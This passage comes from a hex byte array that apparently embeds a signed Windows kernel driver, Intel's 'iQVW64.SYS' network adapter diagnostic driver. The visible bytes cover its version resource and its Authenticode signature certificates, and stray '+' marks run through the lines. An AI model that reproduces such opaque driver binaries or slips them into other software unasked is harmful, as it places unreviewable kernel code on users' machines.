0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x10, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x09, 0x04, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x60, 0x30, 0x5D, 0x00, 0x94, 0x03, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x94, 0x03, 0x34, 0x00, 0x00, 0x00, 0x56, 0x00, 0x53, 0x00, 0x5F, 0x00, 0x56, 0x00, 0x45, 0x00, 0x52, 0x00, 0x53, 0x00, 0x49, 0x00, 0x4F, 0x00, + 0x4E, 0x00, 0x5F, 0x00, 0x49, 0x00, 0x4E, 0x00, 0x46, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBD, 0x04, 0xEF, 0xFE, 0x00, 0x00, 0x01, 0x00, 0x03, 0x00, 0x01, 0x00, 0x07, 0x00, 0x00, 0x00, 0x02, 0x00, 0x05, 0x00, 0x26, 0x07, 0xCE, 0x0E, + 0x3F, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x04, 0x00, 0x04, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF2, 0x02, 0x00, 0x00, 0x01, 0x00, 0x53, 0x00, 0x74, 0x00, 0x72, 0x00, + 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x00, 0x00, 0xCE, 0x02, 0x00, 0x00, 0x01, 0x00, 0x30, 0x00, 0x34, 0x00, 0x30, 0x00, 0x39, 0x00, 0x30, 0x00, + 0x34, 0x00, 0x42, 0x00, 0x30, 0x00, 0x00, 0x00, 0x46, 0x00, 0x13, 0x00, 0x01, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x79, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x20, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x7E, 0x00, 0x2B, 0x00, 0x01, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x44, 0x00, 0x65, 0x00, 0x73, 0x00, 0x63, 0x00, 0x72, 0x00, 0x69, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x28, 0x00, 0x52, 0x00, 0x29, 0x00, 0x20, 0x00, 0x4E, 0x00, 0x65, 0x00, 0x74, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x6B, 0x00, 0x20, 0x00, 0x41, 0x00, 0x64, 0x00, 0x61, 0x00, + 0x70, 0x00, 0x74, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x69, 0x00, 0x61, 0x00, 0x67, 0x00, 0x6E, 0x00, 0x6F, 0x00, 0x73, 0x00, 0x74, 0x00, 0x69, 0x00, 0x63, 0x00, 0x20, 0x00, 0x44, 0x00, 0x72, 0x00, 0x69, 0x00, 0x76, 0x00, + 0x65, 0x00, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x00, 0x1A, 0x00, 0x01, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x31, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x33, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x37, 0x00, 0x20, 0x00, 0x62, 0x00, 0x75, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x74, 0x00, 0x20, 0x00, 0x62, 0x00, 0x79, 0x00, 0x3A, 0x00, 0x20, 0x00, 0x57, 0x00, + 0x69, 0x00, 0x6E, 0x00, 0x44, 0x00, 0x44, 0x00, 0x4B, 0x00, 0x00, 0x00, 0x36, 0x00, 0x0B, 0x00, 0x01, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, + 0x65, 0x00, 0x00, 0x00, 0x69, 0x00, 0x51, 0x00, 0x56, 0x00, 0x57, 0x00, 0x36, 0x00, 0x34, 0x00, 0x2E, 0x00, 0x53, 0x00, 0x59, 0x00, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0x00, 0x3F, 0x00, 0x01, 0x00, 0x4C, 0x00, 0x65, 0x00, 0x67, 0x00, + 0x61, 0x00, 0x6C, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x68, 0x00, + 0x74, 0x00, 0x20, 0x00, 0x28, 0x00, 0x43, 0x00, 0x29, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00, 0x32, 0x00, 0x2D, 0x00, 0x32, 0x00, 0x30, 0x00, 0x31, 0x00, 0x33, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x65, 0x00, + 0x6C, 0x00, 0x20, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x41, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x20, 0x00, 0x52, 0x00, 0x69, 0x00, + 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x73, 0x00, 0x20, 0x00, 0x52, 0x00, 0x65, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x76, 0x00, 0x65, 0x00, 0x64, 0x00, 0x2E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x0B, 0x00, 0x01, 0x00, 0x4F, 0x00, + 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x69, 0x00, 0x51, 0x00, 0x56, 0x00, 0x57, 0x00, + 0x36, 0x00, 0x34, 0x00, 0x2E, 0x00, 0x53, 0x00, 0x59, 0x00, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x14, 0x00, 0x01, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, 0x4E, 0x00, 0x61, 0x00, + 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x28, 0x00, 0x52, 0x00, 0x29, 0x00, 0x20, 0x00, 0x69, 0x00, 0x51, 0x00, 0x56, 0x00, 0x57, 0x00, 0x36, 0x00, 0x34, 0x00, 0x2E, 0x00, + 0x53, 0x00, 0x59, 0x00, 0x53, 0x00, 0x00, 0x00, 0x36, 0x00, 0x09, 0x00, 0x01, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, + 0x6E, 0x00, 0x00, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x33, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, 0x00, 0x01, 0x00, 0x56, 0x00, 0x61, 0x00, 0x72, 0x00, 0x46, 0x00, 0x69, 0x00, + 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x04, 0x00, 0x00, 0x00, 0x54, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, + 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x04, 0xB0, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x1F, 0x00, 0x00, 0x00, 0x02, 0x02, 0x00, 0x30, 0x82, 0x1E, 0xF8, 0x06, 0x09, 0x2A, 0x86, + 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x07, 0x02, 0xA0, 0x82, 0x1E, 0xE9, 0x30, 0x82, 0x1E, 0xE5, 0x02, 0x01, 0x01, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x05, 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0x30, 0x4C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, + 0x82, 0x37, 0x02, 0x01, 0x04, 0xA0, 0x3E, 0x30, 0x3C, 0x30, 0x17, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x0F, 0x30, 0x09, 0x03, 0x01, 0x00, 0xA0, 0x04, 0xA2, 0x02, 0x80, 0x00, 0x30, 0x21, 0x30, 0x09, 0x06, 0x05, + 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0x04, 0x14, 0x2C, 0xBF, 0xE4, 0xAD, 0x0E, 0x12, 0x31, 0xFF, 0x3E, 0x19, 0xC1, 0x9C, 0xA9, 0x31, 0x1D, 0x95, 0x2C, 0xE1, 0x70, 0xB7, 0xA0, 0x82, 0x19, 0xCE, 0x30, 0x82, 0x03, 0xEE, 0x30, 0x82, 0x03, + 0x57, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x10, 0x7E, 0x93, 0xEB, 0xFB, 0x7C, 0xC6, 0x4E, 0x59, 0xEA, 0x4B, 0x9A, 0x77, 0xD4, 0x06, 0xFC, 0x3B, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x30, + 0x81, 0x8B, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x5A, 0x41, 0x31, 0x15, 0x30, 0x13, 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, 0x0C, 0x57, 0x65, 0x73, 0x74, 0x65, 0x72, 0x6E, 0x20, 0x43, 0x61, 0x70, 0x65, 0x31, 0x14, + 0x30, 0x12, 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x0B, 0x44, 0x75, 0x72, 0x62, 0x61, 0x6E, 0x76, 0x69, 0x6C, 0x6C, 0x65, 0x31, 0x0F, 0x30, 0x0D, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x06, 0x54, 0x68, 0x61, 0x77, 0x74, 0x65, 0x31, 0x1D, 0x30, + 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x14, 0x54, 0x68, 0x61, 0x77, 0x74, 0x65, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x1F, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x16, 0x54, + 0x68, 0x61, 0x77, 0x74, 0x65, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x73, 0x74, 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x20, 0x43, 0x41, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x32, 0x31, 0x32, 0x32, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5A, 0x17, 0x0D, + 0x32, 0x30, 0x31, 0x32, 0x33, 0x30, 0x32, 0x33, 0x35, 0x39, 0x35, 0x39, 0x5A, 0x30, 0x5E, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x14, 0x53, + 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x30, 0x30, 0x2E, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x27, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x54, + 0x69, 0x6D, 0x65, 0x20, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, 0x43, 0x41, 0x20, 0x2D, 0x20, 0x47, 0x32, 0x30, 0x82, 0x01, 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, + 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, 0x82, 0x01, 0x0A, 0x02, 0x82, 0x01, 0x01, 0x00, 0xB1, 0xAC, 0xB3, 0x49, 0x54, 0x4B, 0x97, 0x1C, 0x12, 0x0A, 0xD8, 0x25, 0x79, 0x91, 0x22, 0x57, 0x2A, 0x6F, + 0xDC, 0xB8, 0x26, 0xC4, 0x43, 0x73, 0x6B, 0xC2, 0xBF, 0x2E, 0x50, 0x5A, 0xFB, 0x14, 0xC2, 0x76, 0x8E, 0x43, 0x01, 0x25, 0x43, 0xB4, 0xA1, 0xE2, 0x45, 0xF4, 0xE8, 0xB7, 0x7B, 0xC3, 0x74, 0xCC, 0x22, 0xD7, 0xB4, 0x94, 0x00, 0x02, 0xF7, 0x4D, + 0xED, 0xBF, 0xB4, 0xB7, 0x44, 0x24, 0x6B, 0xCD, 0x5F, 0x45, 0x3B, 0xD1, 0x44, 0xCE, 0x43, 0x12, 0x73, 0x17, 0x82, 0x8B, 0x69, 0xB4, 0x2B, 0xCB, 0x99, 0x1E, 0xAC, 0x72, 0x1B, 0x26, 0x4D, 0x71, 0x1F, 0xB1, 0x31, 0xDD, 0xFB, 0x51, 0x61, 0x02, + 0x53, 0xA6, 0xAA, 0xF5, 0x49, 0x2C, 0x05, 0x78, 0x45, 0xA5, 0x2F, 0x89, 0xCE, 0xE7, 0x99, 0xE7, 0xFE, 0x8C, 0xE2, 0x57, 0x3F, 0x3D, 0xC6, 0x92, 0xDC, 0x4A, 0xF8, 0x7B, 0x33, 0xE4, 0x79, 0x0A, 0xFB, 0xF0, 0x75, 0x88, 0x41, 0x9C, 0xFF, 0xC5, + 0x03, 0x51, 0x99, 0xAA, 0xD7, 0x6C, 0x9F, 0x93, 0x69, 0x87, 0x65, 0x29, 0x83, 0x85, 0xC2, 0x60, 0x14, 0xC4, 0xC8, 0xC9, 0x3B, 0x14, 0xDA, 0xC0, 0x81, 0xF0, 0x1F, 0x0D, 0x74, 0xDE, 0x92, 0x22, 0xAB, 0xCA, 0xF7, 0xFB, 0x74, 0x7C, 0x27, 0xE6, + 0xF7, 0x4A, 0x1B, 0x7F, 0xA7, 0xC3, 0x9E, 0x2D, 0xAE, 0x8A, 0xEA, 0xA6, 0xE6, 0xAA, 0x27, 0x16, 0x7D, 0x61, 0xF7, 0x98, 0x71, 0x11, 0xBC, 0xE2, 0x50, 0xA1, 0x4B, 0xE5, 0x5D, 0xFA, 0xE5, 0x0E, 0xA7, 0x2C, 0x9F, 0xAA, 0x65, 0x20, 0xD3, 0xD8, + 0x96, 0xE8, 0xC8, 0x7C, 0xA5, 0x4E, 0x48, 0x44, 0xFF, 0x19, 0xE2, 0x44, 0x07, 0x92, 0x0B, 0xD7, 0x68, 0x84, 0x80, 0x5D, 0x6A, 0x78, 0x64, 0x45, 0xCD, 0x60, 0x46, 0x7E, 0x54, 0xC1, 0x13, 0x7C, 0xC5, 0x79, 0xF1, 0xC9, 0xC1, 0x71, 0x02, 0x03, + 0x01, 0x00, 0x01, 0xA3, 0x81, 0xFA, 0x30, 0x81, 0xF7, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, 0x14, 0x5F, 0x9A, 0xF5, 0x6E, 0x5C, 0xCC, 0xCC, 0x74, 0x9A, 0xD4, 0xDD, 0x7D, 0xEF, 0x3F, 0xDB, 0xEC, 0x4C, 0x80, 0x2E, 0xDD, + 0x30, 0x32, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01, 0x01, 0x04, 0x26, 0x30, 0x24, 0x30, 0x22, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x01, 0x86, 0x16, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x6F, 0x63, 0x73, + 0x70, 0x2E, 0x74, 0x68, 0x61, 0x77, 0x74, 0x65, 0x2E, 0x63, 0x6F, 0x6D, 0x30, 0x12, 0x06, 0x03, 0x55, 0x1D, 0x13, 0x01, 0x01, 0xFF, 0x04, 0x08, 0x30, 0x06, 0x01, 0x01, 0xFF, 0x02, 0x01, 0x00, 0x30, 0x3F, 0x06, 0x03, 0x55, 0x1D, 0x1F, 0x04, + 0x38, 0x30, 0x36, 0x30, 0x34, 0xA0, 0x32, 0xA0, 0x30, 0x86, 0x2E, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x63, 0x72, 0x6C, 0x2E, 0x74, 0x68, 0x61, 0x77, 0x74, 0x65, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x54, 0x68, 0x61, 0x77, 0x74, 0x65, 0x54, + 0x69, 0x6D, 0x65, 0x73, 0x74, 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x43, 0x41, 0x2E, 0x63, 0x72, 0x6C, 0x30, 0x13, 0x06, 0x03, 0x55, 0x1D, 0x25, 0x04, 0x0C, 0x30, 0x0A, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x08, 0x30, 0x0E, + 0x06, 0x03, 0x55, 0x1D, 0x0F, 0x01, 0x01, 0xFF, 0x04, 0x04, 0x03, 0x02, 0x01, 0x06, 0x30, 0x28, 0x06, 0x03, 0x55, 0x1D, 0x11, 0x04, 0x21, 0x30, 0x1F, 0xA4, 0x1D, 0x30, 0x1B, 0x31, 0x19, 0x30, 0x17, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x10, + 0x54, 0x69, 0x6D, 0x65, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x2D, 0x32, 0x30, 0x34, 0x38, 0x2D, 0x31, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x81, 0x81, 0x00, 0x03, 0x09, 0x9B, 0x8F, 0x79, + 0xEF, 0x7F, 0x59, 0x30, 0xAA, 0xEF, 0x68, 0xB5, 0xFA, 0xE3, 0x09, 0x1D, 0xBB, 0x4F, 0x82, 0x06, 0x5D, 0x37, 0x5F, 0xA6, 0x52, 0x9F, 0x16, 0x8D, 0xEA, 0x1C, 0x92, 0x09, 0x44, 0x6E, 0xF5, 0x6D, 0xEB, 0x58, 0x7C, 0x30, 0xE8, 0xF9, 0x69, 0x8D, + 0x23, 0x73, 0x0B, 0x12, 0x6F, 0x47, 0xA9, 0xAE, 0x39, 0x11, 0xF8, 0x2A, 0xB1, 0x9B, 0xB0, 0x1A, 0xC3, 0x8E, 0xEB, 0x59, 0x96, 0x00, 0xAD, 0xCE, 0x0C, 0x4D, 0xB2, 0xD0, 0x31, 0xA6, 0x08, 0x5C, 0x2A, 0x7A, 0xFC, 0xE2, 0x7A, 0x1D, 0x57, 0x4C, + 0xA8, 0x65, 0x18, 0xE9, 0x79, 0x40, 0x62, 0x25, 0x96, 0x6E, 0xC7, 0xC7, 0x37, 0x6A, 0x83, 0x21, 0x08, 0x8E, 0x41, 0xEA, 0xDD, 0xD9, 0x57, 0x3F, 0x1D, 0x77, 0x49, 0x87, 0x2A, 0x16, 0x06, 0x5E, 0xA6, 0x38, 0x6A, 0x22, 0x12, 0xA3, 0x51, 0x19, + 0x83, 0x7E, 0xB6, 0x30, 0x82, 0x04, 0xA3, 0x30, 0x82, 0x03, 0x8B, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x10, 0x0E, 0xCF, 0xF4, 0x38, 0xC8, 0xFE, 0xBF, 0x35, 0x6E, 0x04, 0xD8, 0x6A, 0x98, 0x1B, 0x1A, 0x50, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, + 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x30, 0x5E, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, + 0x74, 0x65, 0x63, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x30, 0x30, 0x2E, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x27, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, + 0x53, 0x74, 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, 0x43, 0x41, 0x20, 0x2D, 0x20, 0x47, 0x32, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x32, 0x31, 0x30, 0x31, 0x38, 0x30, 0x30, 0x30, 0x30, 0x30, + 0x30, 0x5A, 0x17, 0x0D, 0x32, 0x30, 0x31, 0x32, 0x32, 0x39, 0x32, 0x33, 0x35, 0x39, 0x35, 0x39, 0x5A, 0x30, 0x62, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, + 0x0A, 0x13, 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x34, 0x30, 0x32, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x2B, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, + 0x65, 0x63, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, 0x53, 0x69, 0x67, 0x6E, 0x65, 0x72, 0x20, 0x2D, 0x20, 0x47, 0x34, 0x30, 0x82, 0x01, + 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, 0x82, 0x01, 0x0A, 0x02, 0x82, 0x01, 0x01, 0x00, 0xA2, 0x63, 0x0B, 0x39, 0x44, 0xB8, 0xBB, 0x23, 0xA7, 0x44, + 0x49, 0xBB, 0x0E, 0xFF, 0xA1, 0xF0, 0x61, 0x0A, 0x53, 0x93, 0xB0, 0x98, 0xDB, 0xAD, 0x2C, 0x0F, 0x4A, 0xC5, 0x6E, 0xFF, 0x86, 0x3C, 0x53, 0x55, 0x0F, 0x15, 0xCE, 0x04, 0x3F, 0x2B, 0xFD, 0xA9, 0x96, 0x96, 0xD9, 0xBE, 0x61, 0x79, 0x0B, 0x5B, + 0xC9, 0x4C, 0x86, 0x76, 0xE5, 0xE0, 0x43, 0x4B, 0x22, 0x95, 0xEE, 0xC2, 0x2B, 0x43, 0xC1, 0x9F, 0xD8, 0x68, 0xB4, 0x8E, 0x40, 0x4F, 0xEE, 0x85, 0x38, 0xB9, 0x11, 0xC5, 0x23, 0xF2, 0x64, 0x58, 0xF0, 0x15, 0x32, 0x6F, 0x4E, 0x57, 0xA1, 0xAE, + 0x88, 0xA4, 0x02, 0xD7, 0x2A, 0x1E, 0xCD, 0x4B, 0xE1, 0xDD, 0x63, 0xD5, 0x17, 0x89, 0x32, 0x5B, 0xB0, 0x5E, 0x99, 0x5A, 0xA8, 0x9D, 0x28, 0x50, 0x0E, 0x17, 0xEE, 0x96, 0xDB, 0x61, 0x3B, 0x45, 0x51, 0x1D, 0xCF, 0x12, 0x56, 0x0B, 0x92, 0x47, + 0xFC, 0xAB, 0xAE, 0xF6, 0x66, 0x3D, 0x47, 0xAC, 0x70, 0x72, 0xE7, 0x92, 0xE7, 0x5F, 0xCD, 0x10, 0xB9, 0xC4, 0x83, 0x64, 0x94, 0x19, 0xBD, 0x25, 0x80, 0xE1, 0xE8, 0xD2, 0x22, 0xA5, 0xD0, 0xBA, 0x02, 0x7A, 0xA1, 0x77, 0x93, 0x5B, 0x65, 0xC3, + 0xEE, 0x17, 0x74, 0xBC, 0x41, 0x86, 0x2A, 0xDC, 0x08, 0x4C, 0x8C, 0x92, 0x8C, 0x91, 0x2D, 0x9E, 0x77, 0x44, 0x1F, 0x68, 0xD6, 0xA8, 0x74, 0x77, 0xDB, 0x0E, 0x5B, 0x32, 0x8B, 0x56, 0x8B, 0x33, 0xBD, 0xD9, 0x63, 0xC8, 0x49, 0x9D, 0x3A, 0xC5, + 0xC5, 0xEA, 0x33, 0x0B, 0xD2, 0xF1, 0xA3, 0x1B, 0xF4, 0x8B, 0xBE, 0xD9, 0xB3, 0x57, 0x8B, 0x3B, 0xDE, 0x04, 0xA7, 0x7A, 0x22, 0xB2, 0x24, 0xAE, 0x2E, 0xC7, 0x70, 0xC5, 0xBE, 0x4E, 0x83, 0x26, 0x08, 0xFB, 0x0B, 0xBD, 0xA9, 0x4F, 0x99, 0x08, + 0xE1, 0x10, 0x28, 0x72, 0xAA, 0xCD, 0x02, 0x03, 0x01, 0x00, 0x01, 0xA3, 0x82, 0x01, 0x57, 0x30, 0x82, 0x01, 0x53, 0x30, 0x0C, 0x06, 0x03, 